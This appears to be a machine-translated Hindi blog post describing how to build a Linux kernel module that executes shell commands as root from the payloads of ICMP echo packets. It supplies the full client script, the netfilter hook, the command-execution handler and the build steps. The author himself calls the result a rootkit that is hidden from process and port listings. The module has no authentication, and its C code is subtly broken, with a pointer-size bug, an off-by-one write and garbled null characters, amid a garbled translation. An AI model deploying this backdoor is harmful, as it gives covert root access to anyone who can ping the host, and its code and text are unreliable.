🥇ICMP के ऊपर परमाणु गोला

TL, डॉ: मैं एक कर्नेल मॉड्यूल लिख रहा हूं जो ICMP पेलोड से कमांड पढ़ेगा और उन्हें सर्वर पर निष्पादित करेगा, भले ही आपका SSH क्रैश हो जाए। सबसे अधीर लोगों के लिए, सभी कोड हैं GitHub.

चेतावनी! अनुभवी सी प्रोग्रामर खून के आंसू बहने का जोखिम उठाते हैं! मैं शब्दावली में गलत भी हो सकता हूं, लेकिन किसी भी आलोचना का स्वागत है। यह पोस्ट उन लोगों के लिए है जिनके पास सी प्रोग्रामिंग का बहुत मोटा विचार है और वे लिनक्स के अंदर देखना चाहते हैं।

मेरी पहली टिप्पणियों में लेख सॉफ्टईथर वीपीएन का उल्लेख किया गया है, जो कुछ "नियमित" प्रोटोकॉल की नकल कर सकता है, विशेष रूप से HTTPS, ICMP और यहां तक कि DNS में भी। मैं कल्पना कर सकता हूं कि उनमें से केवल पहला ही काम करेगा, क्योंकि मैं HTTP(S) से बहुत परिचित हूं, और मुझे ICMP और DNS पर टनलिंग सीखनी पड़ी।

हां, 2020 में मैंने सीखा कि आप ICMP पैकेट में एक मनमाना पेलोड डाल सकते हैं। लेकिन कभी नहीं से देर से ही सही! और चूँकि इसके बारे में कुछ किया जा सकता है, तो इसे करने की आवश्यकता है। चूंकि अपने दैनिक जीवन में मैं अक्सर कमांड लाइन का उपयोग करता हूं, जिसमें एसएसएच भी शामिल है, मेरे दिमाग में सबसे पहले आईसीएमपी शेल का विचार आया। और एक संपूर्ण बुलशील्ड बिंगो को असेंबल करने के लिए, मैंने इसे एक ऐसी भाषा में लिनक्स मॉड्यूल के रूप में लिखने का निर्णय लिया, जिसके बारे में मुझे केवल एक मोटा विचार है। ऐसा शेल प्रक्रियाओं की सूची में दिखाई नहीं देगा, आप इसे कर्नेल में लोड कर सकते हैं और यह फ़ाइल सिस्टम पर नहीं होगा, आपको श्रवण पोर्ट की सूची में कुछ भी संदिग्ध नहीं दिखाई देगा। अपनी क्षमताओं के संदर्भ में, यह एक पूर्ण रूटकिट है, लेकिन मुझे उम्मीद है कि मैं इसमें सुधार करूंगा और इसे अंतिम उपाय के शेल के रूप में उपयोग करूंगा जब लोड औसत एसएसएच के माध्यम से लॉग इन करने और कम से कम निष्पादित करने के लिए बहुत अधिक हो। echo i > /proc/sysrq-triggerरिबूट किए बिना पहुंच बहाल करने के लिए।

हम एक टेक्स्ट एडिटर, पायथन और सी, गूगल और में बुनियादी प्रोग्रामिंग कौशल लेते हैं आभासी यदि सब कुछ टूट जाए (वैकल्पिक - स्थानीय वर्चुअलबॉक्स/केवीएम/आदि) तो चाकू के नीचे रखने में आपको कोई आपत्ति नहीं है और चलिए!

ग्राहक भाग

मुझे ऐसा लग रहा था कि क्लाइंट भाग के लिए मुझे लगभग 80 पंक्तियों वाली एक स्क्रिप्ट लिखनी होगी, लेकिन दयालु लोग थे जिन्होंने मेरे लिए यह किया सभी कार्य. कोड अप्रत्याशित रूप से सरल निकला, 10 महत्वपूर्ण पंक्तियों में फिट हुआ:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

स्क्रिप्ट दो तर्क लेती है, एक पता और एक पेलोड। भेजने से पहले, पेलोड के आगे एक कुंजी लगाई जाती है run:, हमें यादृच्छिक पेलोड वाले पैकेजों को बाहर करने के लिए इसकी आवश्यकता होगी।

कर्नेल को पैकेज तैयार करने के लिए विशेषाधिकारों की आवश्यकता होती है, इसलिए स्क्रिप्ट को सुपरयूज़र के रूप में चलाना होगा। निष्पादन अनुमतियाँ देना और स्कैपी को स्वयं स्थापित करना न भूलें। डेबियन नामक एक पैकेज है python3-scapy. अब आप जांच सकते हैं कि यह सब कैसे काम करता है।

कमांड चलाना और आउटपुट करना
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!" Begin emission: .Finished sending 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets ###[ IP ]### version = 4 ihl = 5 tos = 0x0 len = 45 id = 17218 flags = frag = 0 ttl = 58 proto = icmp chksum = 0x3403 src = 45.11.26.232 dst = 192.168.0.240 options ###[ ICMP ]### type = echo-reply code = 0 chksum = 0xde03 id = 0x0 seq = 0x0 ###[ Raw ]### load = 'run:Hello, world!

सूंघने वाले यंत्र में ऐसा ही दिखता है
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232" Running as user "root" and group "root". This could be dangerous. Capturing on 'wlp1s0' Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0 Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232 Internet Control Message Protocol Type: 8 (Echo (ping) request) Code: 0 Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000) Identifier (LE): 0 (0x0000) Sequence number (BE): 0 (0x0000) Sequence number (LE): 0 (0x0000) Data (17 bytes)


0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world

0010 21 !

Data: 72756e3a48656c6c6f2c20776f726c6421

[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0

Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240

Internet Control Message Protocol

Type: 0 (Echo (ping) reply)

Code: 0

Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)

Identifier (LE): 0 (0x0000)

Sequence number (BE): 0 (0x0000)

Sequence number (LE): 0 (0x0000)

[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world

0010 21 !

Data: 72756e3a48656c6c6f2c20776f726c6421

[Length: 17]

^C2 packets captured

प्रतिक्रिया पैकेज में पेलोड नहीं बदलता है।

कर्नेल मॉड्यूल

डेबियन वर्चुअल मशीन बनाने के लिए आपको कम से कम की आवश्यकता होगी make и linux-headers-amd64, बाकी निर्भरता के रूप में आएंगे। मैं लेख में संपूर्ण कोड प्रदान नहीं करूंगा; आप इसे Github पर क्लोन कर सकते हैं।

हुक सेटअप

आरंभ करने के लिए, हमें मॉड्यूल को लोड करने और इसे अनलोड करने के लिए दो कार्यों की आवश्यकता है। अनलोडिंग के लिए फ़ंक्शन की आवश्यकता नहीं है, लेकिन फिर rmmod यह काम नहीं करेगा; मॉड्यूल केवल बंद होने पर ही अनलोड किया जाएगा।

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

यहाँ क्या चल रहा है:

मॉड्यूल और नेटफ़िल्टर में हेरफेर करने के लिए दो हेडर फ़ाइलें खींची जाती हैं।
सभी ऑपरेशन नेटफ़िल्टर से होकर गुजरते हैं, आप इसमें हुक सेट कर सकते हैं। ऐसा करने के लिए, आपको उस संरचना को घोषित करने की आवश्यकता है जिसमें हुक कॉन्फ़िगर किया जाएगा। सबसे महत्वपूर्ण बात उस फ़ंक्शन को निर्दिष्ट करना है जिसे हुक के रूप में निष्पादित किया जाएगा: nfho.hook = icmp_cmd_executor; मैं बाद में समारोह में आऊंगा।
फिर मैंने पैकेज के लिए प्रसंस्करण समय निर्धारित किया: NF_INET_PRE_ROUTING जब पैकेज पहली बार कर्नेल में दिखाई देता है तो उसे संसाधित करने के लिए निर्दिष्ट करता है। इस्तेमाल किया जा सकता है NF_INET_POST_ROUTING पैकेट को कर्नेल से बाहर निकलते ही संसाधित करने के लिए।
मैंने फ़िल्टर को IPv4 पर सेट किया है: nfho.pf = PF_INET;.
मैं अपने हुक को सर्वोच्च प्राथमिकता देता हूं: nfho.priority = NF_IP_PRI_FIRST;
और मैं डेटा संरचना को वास्तविक हुक के रूप में पंजीकृत करता हूं: nf_register_net_hook(&init_net, &nfho);
अंतिम फ़ंक्शन हुक हटा देता है।
लाइसेंस स्पष्ट रूप से दर्शाया गया है ताकि कंपाइलर शिकायत न करे।
कार्य module_init() и module_exit() मॉड्यूल को प्रारंभ और समाप्त करने के लिए अन्य फ़ंक्शन सेट करें।

पेलोड पुनः प्राप्त करना

अब हमें पेलोड निकालने की जरूरत है, यह सबसे कठिन काम साबित हुआ। कर्नेल में पेलोड के साथ काम करने के लिए अंतर्निहित फ़ंक्शन नहीं हैं; आप केवल उच्च-स्तरीय प्रोटोकॉल के हेडर को पार्स कर सकते हैं।

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

क्या होता है:

इस बार आईपी और आईसीएमपी हेडर में हेरफेर करने के लिए मुझे अतिरिक्त हेडर फ़ाइलें शामिल करनी पड़ीं।
मैंने अधिकतम लाइन लंबाई निर्धारित की है: #define MAX_CMD_LEN 1976. आख़िर ऐसा क्यों? क्योंकि संकलक इसके बारे में शिकायत करता है! उन्होंने मुझे पहले ही सुझाव दिया है कि मुझे स्टैक और हीप को समझने की ज़रूरत है, किसी दिन मैं निश्चित रूप से ऐसा करूंगा और शायद कोड को भी सही कर दूंगा। मैंने तुरंत वह लाइन सेट की जिसमें कमांड होगी: char cmd_string[MAX_CMD_LEN];. यह सभी कार्यों में दिखाई देना चाहिए; मैं पैराग्राफ 9 में इसके बारे में अधिक विस्तार से बात करूंगा।
अब हमें आरंभ करने की आवश्यकता है (struct work_struct my_work;) संरचना बनाएं और इसे किसी अन्य फ़ंक्शन से कनेक्ट करें (DECLARE_WORK(my_work, work_handler);). नौवें पैराग्राफ में यह भी बात करूंगा कि यह क्यों जरूरी है.
अब मैं एक फ़ंक्शन घोषित करता हूं, जो एक हुक होगा। प्रकार और स्वीकृत तर्क नेटफ़िल्टर द्वारा निर्धारित होते हैं, हम केवल इसमें रुचि रखते हैं skb. यह एक सॉकेट बफ़र है, एक मौलिक डेटा संरचना जिसमें एक पैकेट के बारे में सभी उपलब्ध जानकारी होती है।
फ़ंक्शन को काम करने के लिए, आपको दो संरचनाओं और दो पुनरावृत्तियों सहित कई चर की आवश्यकता होगी।
```
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;
```
हम तर्क से शुरुआत कर सकते हैं. मॉड्यूल को काम करने के लिए, ICMP इको के अलावा किसी अन्य पैकेट की आवश्यकता नहीं है, इसलिए हम अंतर्निहित फ़ंक्शंस का उपयोग करके बफर को पार्स करते हैं और सभी गैर-ICMP और गैर-इको पैकेट को बाहर निकाल देते हैं। वापस करना NF_ACCEPT इसका मतलब पैकेज की स्वीकृति है, लेकिन आप वापस लौटकर भी पैकेज छोड़ सकते हैं NF_DROP.
```
  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }
```
मैंने यह परीक्षण नहीं किया है कि आईपी हेडर की जांच के बिना क्या होगा। सी के बारे में मेरा न्यूनतम ज्ञान मुझे बताता है कि अतिरिक्त जांच के बिना, कुछ भयानक घटित होना तय है। यदि आप मुझे इससे मना करेंगे तो मुझे ख़ुशी होगी!
अब जब पैकेज बिल्कुल उसी प्रकार का है जिसकी आपको आवश्यकता है, तो आप डेटा निकाल सकते हैं। किसी अंतर्निहित फ़ंक्शन के बिना, आपको सबसे पहले पेलोड की शुरुआत में एक पॉइंटर प्राप्त करना होगा। यह एक ही स्थान पर किया जाता है, आपको पॉइंटर को ICMP हेडर की शुरुआत में ले जाना होगा और इसे इस हेडर के आकार में ले जाना होगा। हर चीज़ संरचना का उपयोग करती है icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
हेडर का अंत पेलोड के अंत से मेल खाना चाहिए skb, इसलिए हम इसे संबंधित संरचना से परमाणु साधनों का उपयोग करके प्राप्त करते हैं: tail = skb_tail_pointer(skb);.

तस्वीर चोरी हो गई थी अत:, आप सॉकेट बफ़र के बारे में अधिक पढ़ सकते हैं।
एक बार जब आपके पास आरंभ और अंत के लिए संकेतक हों, तो आप डेटा को एक स्ट्रिंग में कॉपी कर सकते हैं cmd_string, उपसर्ग की उपस्थिति के लिए इसकी जाँच करें run: और, यदि पैकेज गायब है तो या तो उसे हटा दें, या इस उपसर्ग को हटाते हुए लाइन को दोबारा लिखें।
बस, अब आप किसी अन्य हैंडलर को कॉल कर सकते हैं: schedule_work(&my_work);. चूँकि ऐसी कॉल के लिए पैरामीटर पास करना संभव नहीं होगा, कमांड वाली लाइन ग्लोबल होनी चाहिए। schedule_work() पारित संरचना से जुड़े फ़ंक्शन को कार्य शेड्यूलर की सामान्य कतार में रखेगा और पूरा करेगा, जिससे आपको कमांड पूरा होने तक इंतजार नहीं करना पड़ेगा। यह आवश्यक है क्योंकि हुक बहुत तेज़ होना चाहिए। अन्यथा, आपकी पसंद यह है कि कुछ भी शुरू नहीं होगा या आपको कर्नेल पैनिक हो जाएगा। देरी मृत्यु के समान है!
बस, आप संबंधित रिटर्न के साथ पैकेज स्वीकार कर सकते हैं।

यूजरस्पेस में किसी प्रोग्राम को कॉल करना

यह फ़ंक्शन सबसे अधिक समझने योग्य है। इसका नाम इसमें दिया गया था DECLARE_WORK(), प्रकार और स्वीकृत तर्क दिलचस्प नहीं हैं। हम कमांड के साथ लाइन लेते हैं और इसे पूरी तरह से शेल तक पहुंचाते हैं। उसे पार्सिंग, बायनेरिज़ की खोज और अन्य सभी चीज़ों से निपटने दें।

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

तर्कों को स्ट्रिंग की एक सरणी पर सेट करें argv[]. मैं यह मानूंगा कि हर कोई जानता है कि प्रोग्राम वास्तव में इस तरह से निष्पादित होते हैं, न कि रिक्त स्थान के साथ एक सतत रेखा के रूप में।
पर्यावरण चर सेट करें. मैंने पथों के न्यूनतम सेट के साथ केवल PATH डाला, यह आशा करते हुए कि वे सभी पहले से ही संयुक्त थे /bin с /usr/bin и /sbin с /usr/sbin. व्यवहार में अन्य रास्ते शायद ही कभी मायने रखते हों।
हो गया, चलो इसे करते हैं! कर्नेल फ़ंक्शन call_usermodehelper() प्रवेश स्वीकार करता है. बाइनरी के लिए पथ, तर्कों की सरणी, पर्यावरण चर की सरणी। यहां मैं यह भी मानता हूं कि निष्पादन योग्य फ़ाइल के पथ को एक अलग तर्क के रूप में पारित करने का अर्थ हर कोई समझता है, लेकिन आप पूछ सकते हैं। अंतिम तर्क निर्दिष्ट करता है कि प्रक्रिया पूरी होने तक प्रतीक्षा करनी है या नहीं (UMH_WAIT_PROC), प्रक्रिया प्रारंभ (UMH_WAIT_EXEC) या बिल्कुल भी इंतजार न करें (UMH_NO_WAIT). क्या कुछ और भी है UMH_KILLABLE, मैंने इस पर गौर नहीं किया।

सभा

कर्नेल मॉड्यूल की असेंबली कर्नेल मेक-फ्रेमवर्क के माध्यम से की जाती है। बुलाया make कर्नेल संस्करण से जुड़ी एक विशेष निर्देशिका के अंदर (यहां परिभाषित: KERNELDIR:=/lib/modules/$(shell uname -r)/build), और मॉड्यूल का स्थान वेरिएबल को पास कर दिया जाता है M तर्कों में. Icmpshell.ko और क्लीन लक्ष्य पूरी तरह से इस ढांचे का उपयोग करते हैं। में obj-m ऑब्जेक्ट फ़ाइल को इंगित करता है जिसे मॉड्यूल में परिवर्तित किया जाएगा। सिंटैक्स जो रीमेक करता है main.o в icmpshell.o (icmpshell-objs = main.o) मुझे बहुत तार्किक नहीं लगता, लेकिन ऐसा ही होगा।

KERNELDIR:=/lib/modules/$(shell uname -r)/build


obj-m = icmpshell.o

icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c

make -C $(KERNELDIR) M=$(PWD) modules

clean: make -C $(KERNELDIR) M=$(PWD) clean

हम एकत्र करते हैं: make. लोड हो रहा है: insmod icmpshell.ko. हो गया, आप जाँच सकते हैं: sudo ./send.py 45.11.26.232 "date > /tmp/test". यदि आपकी मशीन पर कोई फ़ाइल है /tmp/test और इसमें अनुरोध भेजे जाने की तारीख शामिल है, जिसका अर्थ है कि आपने सब कुछ ठीक किया और मैंने सब कुछ ठीक किया।

निष्कर्ष

परमाणु विकास के साथ मेरा पहला अनुभव मेरी अपेक्षा से कहीं अधिक आसान था। सी में विकास के अनुभव के बिना भी, कंपाइलर संकेतों और Google परिणामों पर ध्यान केंद्रित करते हुए, मैं एक कार्यशील मॉड्यूल लिखने और एक कर्नेल हैकर की तरह महसूस करने में सक्षम था, और साथ ही एक स्क्रिप्ट किडी भी। इसके अलावा, मैं कर्नेल न्यूबीज चैनल पर गया, जहां मुझे इसका उपयोग करने के लिए कहा गया था schedule_work() कॉल करने के बजाय call_usermodehelper() हुक के अंदर ही और घोटाले का संदेह करते हुए उसे शर्मिंदा किया। कोड की सौ पंक्तियों के विकास में मुझे अपने खाली समय में लगभग एक सप्ताह का खर्च उठाना पड़ा। एक सफल अनुभव जिसने सिस्टम विकास की अत्यधिक जटिलता के बारे में मेरे व्यक्तिगत मिथक को नष्ट कर दिया।

यदि कोई जीथब पर कोड समीक्षा करने के लिए सहमत होता है, तो मैं आभारी रहूंगा। मुझे पूरा यकीन है कि मैंने बहुत सी मूर्खतापूर्ण गलतियाँ कीं, खासकर स्ट्रिंग्स के साथ काम करते समय।

स्रोत: www.habr.com

आईसीएमपी के ऊपर परमाणु गोला